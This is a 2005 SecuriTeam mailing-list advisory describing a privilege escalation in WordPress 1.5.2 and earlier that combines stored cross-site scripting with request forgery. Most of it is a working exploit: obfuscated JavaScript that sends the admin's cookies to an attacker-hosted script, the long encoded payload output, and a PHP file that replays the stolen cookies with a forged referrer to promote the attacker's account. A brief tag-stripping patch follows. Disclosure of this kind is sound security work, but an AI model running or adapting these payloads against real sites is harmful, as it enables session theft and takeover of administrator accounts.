

[UNIX] WordPress User Privilege Escalation

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0104.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/28/05

To: list@securiteam.com

Date: 28 Sep 2005 13:26:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

WordPress User Privilege Escalation

SUMMARY

<<http://wordpress.org/>> WordPress is "a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability".

Wordpress has several user levels that a user can be set to. High level users can promote lower level users. This can be exploited using a hybrid of an cross site scripting vulnerability in Wordpress and cross site request forgery attack.

DETAILS

Vulnerable Systems:

- * WordPress versions 1.5.2 and prior

To successfully exploit this attack vector following requirements has to be met:

- * User account already level 2 (allowed to make posts)
- * Admin has to use a JavaScript enabled browser
- * Server with PHP and the cURL extension installed

When creating a post no tags are stripped, this is most likely because the

Securiteam: [UNIX] WordPress User Privilege Escalation

people who make posts are responsible people who want to see the site flourish. This even includes the script tag. Therefore someone who has posting abilities can write JavaScript? code which will be executed whenever anyone reads the post. One problem is that within script tags a single quote is converted to `<http://trac.wordpress.org/ticket/8216>` `‘` and a double quote is converted to `<http://trac.wordpress.org/ticket/8220>` `“`, so building a string becomes a bit more of a challenge. Of course it is possible to create a string without using quotes in JavaScript?.

Firstly you create the String object:

```
a = new String()
```

Then you add to that string:

```
a+=String.fromCharCode(97)
```

```
a+=String.fromCharCode(98)
```

```
a+=String.fromCharCode(99)
```

```
alert(a) //alerts 'abc'
```

Attack Method:

The following function adds to the string variable 'a':

```
function addTxt(str) {  
    for (i=0;i< str.length;i++) {  
document.write("a+=String.fromCharCode("+str.charCodeAt(i)+");") } }  
}
```

That wouldn't be run in WP, but from the HDD of the attacker. Since WP replaces appends every `\n` with `< br />` we have to put all our code onto one line, hence the `;'s`.

An attacker wants to do the following:

Create an image whose src attribute links to a remote file which promotes the user, then the attacker wants to hide the image, then the attacker wants to use setInterval to keep refreshing the image.

The following file (with some modifications will work)

injection.html:

```
----- Begin Code  
-----  
< script>  
function addTxt(str)  
{  
    for (i=0;i< str.length;i++)  
    {  
        document.write("a+=String.fromCharCode("+str.charCodeAt(i)+");")  
    }  
}  
document.write('< script>')  
document.write("a=new String();") //Set up the string variable  
addTxt("< img src=\"http://127.0.0.1/uplvl.php?c=\"") //Link to URL which  
does the promoting  
document.write("a+=document.cookie;") //Send the cookies
```

Securiteam: [UNIX] WordPress User Privilege Escalation

```
addTxt("&ua=") //and the user agent, so it's all consistent in the logs
document.write("a+=navigator.userAgent;")
addTxt("&ref=") //a referer to spoof (WP checks the referer)
document.write("a+=location.href;")
addTxt("&id=") //The ID of the user you want to promote
document.write("a+=12;")
addTxt("\ id=\"myImg\" style=\"display:none;\" />") //Give img ID, hide
it and close the image tag
document.write("document.write(a)") //Write out the image
document.write("< br />< br />")
document.write('a=new String();') //Reset the string
addTxt("myT=setInterval('document.getElementById(\"myImg\").src =
document.getElementById(\"myImg\").src','200')") //make a timer that'll
keep reloading the image
document.write('eval(a)') //run the timer
< /script>
```

----- End Code

The attacker would have to change the URL to the file that does the promoting and the attack would have to change their ID. There is no way to find your own user id in WP other than guessing (unless you have access to /wp-admin/users.php, which level 2 users don't). Of course you could modify this to promote everyone.

Running that code will create something like the following output:

```
a=new String();a+=String.fromCharCode(60);
a+=String.fromCharCode(105);a+=String.fromCharCode(109);
a+=String.fromCharCode(103);
a+=String.fromCharCode(32);a+=String.fromCharCode(115);
a+=String.fromCharCode(114);
a+=String.fromCharCode(99);a+=String.fromCharCode(61);
a+=String.fromCharCode(34);
a+=String.fromCharCode(104);a+=String.fromCharCode(116);
a+=String.fromCharCode(116);
a+=String.fromCharCode(112);a+=String.fromCharCode(58);
a+=String.fromCharCode(47);
a+=String.fromCharCode(47);a+=String.fromCharCode(49);
a+=String.fromCharCode(50);
a+=String.fromCharCode(55);a+=String.fromCharCode(46);
a+=String.fromCharCode(48);
a+=String.fromCharCode(46);a+=String.fromCharCode(48);
a+=String.fromCharCode(46);
a+=String.fromCharCode(49);a+=String.fromCharCode(47);
a+=String.fromCharCode(117);
a+=String.fromCharCode(112);a+=String.fromCharCode(108);
a+=String.fromCharCode(118);
a+=String.fromCharCode(108);a+=String.fromCharCode(46);
a+=String.fromCharCode(112);
a+=String.fromCharCode(104);a+=String.fromCharCode(112);
a+=String.fromCharCode(63);
```

Securiteam: [UNIX] WordPress User Privilege Escalation

```
a+=String.fromCharCode(99);a+=String.fromCharCode(61);
a+=document.cookie;
a+=String.fromCharCode(38);a+=String.fromCharCode(117);
a+=String.fromCharCode(97);
a+=String.fromCharCode(61);a+=navigator.userAgent;
a+=String.fromCharCode(38);
a+=String.fromCharCode(114);a+=String.fromCharCode(101);
a+=String.fromCharCode(102);
a+=String.fromCharCode(61);a+=location.href;
a+=String.fromCharCode(38);
a+=String.fromCharCode(105);a+=String.fromCharCode(100);
a+=String.fromCharCode(61);
a+=12;a+=String.fromCharCode(34);a+=String.fromCharCode(32);
a+=String.fromCharCode(105);
a+=String.fromCharCode(100);a+=String.fromCharCode(61);
a+=String.fromCharCode(34);
a+=String.fromCharCode(109);a+=String.fromCharCode(121);
a+=String.fromCharCode(73);
a+=String.fromCharCode(109);a+=String.fromCharCode(103);
a+=String.fromCharCode(34);
a+=String.fromCharCode(32);a+=String.fromCharCode(115);
a+=String.fromCharCode(116);
a+=String.fromCharCode(121);a+=String.fromCharCode(108);
a+=String.fromCharCode(101);
a+=String.fromCharCode(61);a+=String.fromCharCode(34);
a+=String.fromCharCode(100);
a+=String.fromCharCode(105);a+=String.fromCharCode(115);
a+=String.fromCharCode(112);
a+=String.fromCharCode(108);a+=String.fromCharCode(97);
a+=String.fromCharCode(121);
a+=String.fromCharCode(58);a+=String.fromCharCode(110);
a+=String.fromCharCode(111);
a+=String.fromCharCode(110);a+=String.fromCharCode(101);
a+=String.fromCharCode(59);
a+=String.fromCharCode(34);a+=String.fromCharCode(32);
a+=String.fromCharCode(47);
a+=String.fromCharCode(62);document.write(a)
```

```
a=new String();
a+=String.fromCharCode(109);a+=String.fromCharCode(121);
a+=String.fromCharCode(84);
a+=String.fromCharCode(61);a+=String.fromCharCode(115);
a+=String.fromCharCode(101);
a+=String.fromCharCode(116);a+=String.fromCharCode(73);
a+=String.fromCharCode(110);
a+=String.fromCharCode(116);a+=String.fromCharCode(101);
a+=String.fromCharCode(114);
a+=String.fromCharCode(118);a+=String.fromCharCode(97);
a+=String.fromCharCode(108);
a+=String.fromCharCode(40);a+=String.fromCharCode(39);
a+=String.fromCharCode(100);
```

Securiteam: [UNIX] WordPress User Privilege Escalation

```
a+=String.fromCharCode(111);a+=String.fromCharCode(99);
a+=String.fromCharCode(117);
a+=String.fromCharCode(109);a+=String.fromCharCode(101);
a+=String.fromCharCode(110);
a+=String.fromCharCode(116);a+=String.fromCharCode(46);
a+=String.fromCharCode(103);
a+=String.fromCharCode(101);a+=String.fromCharCode(116);
a+=String.fromCharCode(69);
a+=String.fromCharCode(108);a+=String.fromCharCode(101);
a+=String.fromCharCode(109);
a+=String.fromCharCode(101);a+=String.fromCharCode(110);
a+=String.fromCharCode(116);
a+=String.fromCharCode(66);a+=String.fromCharCode(121);
a+=String.fromCharCode(73);
a+=String.fromCharCode(100);a+=String.fromCharCode(40);
a+=String.fromCharCode(34);
a+=String.fromCharCode(109);a+=String.fromCharCode(121);
a+=String.fromCharCode(73);
a+=String.fromCharCode(109);a+=String.fromCharCode(103);
a+=String.fromCharCode(34);
a+=String.fromCharCode(41);a+=String.fromCharCode(46);
a+=String.fromCharCode(115);
a+=String.fromCharCode(114);a+=String.fromCharCode(99);
a+=String.fromCharCode(61);
a+=String.fromCharCode(100);a+=String.fromCharCode(111);
a+=String.fromCharCode(99);
a+=String.fromCharCode(117);a+=String.fromCharCode(109);
a+=String.fromCharCode(101);
a+=String.fromCharCode(110);a+=String.fromCharCode(116);
a+=String.fromCharCode(46);
a+=String.fromCharCode(103);a+=String.fromCharCode(101);
a+=String.fromCharCode(116);
a+=String.fromCharCode(69);a+=String.fromCharCode(108);
a+=String.fromCharCode(101);
a+=String.fromCharCode(109);a+=String.fromCharCode(101);
a+=String.fromCharCode(110);
a+=String.fromCharCode(116);a+=String.fromCharCode(66);
a+=String.fromCharCode(121);
a+=String.fromCharCode(73);a+=String.fromCharCode(100);
a+=String.fromCharCode(40);
a+=String.fromCharCode(34);a+=String.fromCharCode(109);
a+=String.fromCharCode(121);
a+=String.fromCharCode(73);a+=String.fromCharCode(109);
a+=String.fromCharCode(103);
a+=String.fromCharCode(34);a+=String.fromCharCode(41);
a+=String.fromCharCode(46);
a+=String.fromCharCode(115);a+=String.fromCharCode(114);
a+=String.fromCharCode(99);
a+=String.fromCharCode(39);a+=String.fromCharCode(44);
a+=String.fromCharCode(39);
a+=String.fromCharCode(50);a+=String.fromCharCode(48);
```

Securiteam: [UNIX] WordPress User Privilege Escalation

```
a+=String.fromCharCode(48);
a+=String.fromCharCode(39);a+=String.fromCharCode(41);
eval(a)
```

Two paragraphs of (single line) gibberish.

The attacker would make a normal post, and at the end would add the two paragraphs of JS, both individually wrapped in script tags, taking note to not have any new lines at all within the script tags.

The attacker would also have the remote file, which named uplvl.php. This file would contain:

```
uplvl.php:
----- Begin Code
-----
< ?php
$url =
$_GET['ref'].'wp-admin/users.php?action=promote&id='.$_GET['id'].'&prom=up';
$c = $_GET['c'];
$ref = $_GET['ref'].'wp-admin/users.php';
$ua = $_GET['ua'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_COOKIE, $c);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_exec($ch);
?>
----- End Code
-----
```

That file will send of the request, also forging the referrer (as WP checks those) and the user-agent (just to blend in a bit better in the logs). It copies the cookies too, needed for authentication.

Now the attacker simply has to wait for the admin to read the message and the attacker should almost instantly be promoted to level 9, where the attacker might get upload rights and the rights to change what file extensions are allowed in uploads. This of course would allow the attacker to upload a PHP file giving much greater access to the server.

Possible solution:

There is no reason why the tag can't be stripped.

In /wp-admin/post.php, scroll down to line 139, which should be blank (the next line should start with \$postquery = "INSERT INTO \$wpdb->posts...). Put the following onto line 139:

```
$content = strip_tags ($content,
'<a><b><i><u><strike><em><del><ins><img><ul><ol><li><code>'); // Remove
tags that aren't allowed
$stripAttrib =
```

Securiteam: [UNIX] WordPress User Privilege Escalation

```
'javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|'. //  
Remove unwanted event tags  
'onmousemove|onmouseout|onkeypress|onkeydown|onkeyup'; //  
$content = preg_replace("/$stripAttrib/i", ' ', $content); //
```

Then update line 368, just before:

```
$result = $wpdb->query("  
UPDATE $wpdb->posts SET  
post_content = '$content',
```

And add the same code segment.

That isn't a neat way, but it does stop script tags from opening.

Further discussion:

As you may have noticed this attack isn't very useful, you may have to guess your ID, you already have to be a poster which means that admin trusts you and you'll get noticed. On the other hand it's a good learning technique.

ADDITIONAL INFORMATION

The original article can be found at:

<<http://trac.wordpress.org/ticket/1663>>

<http://trac.wordpress.org/ticket/1663>

The information has been provided by <<mailto:sakaru@gmail.com>> Sid.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.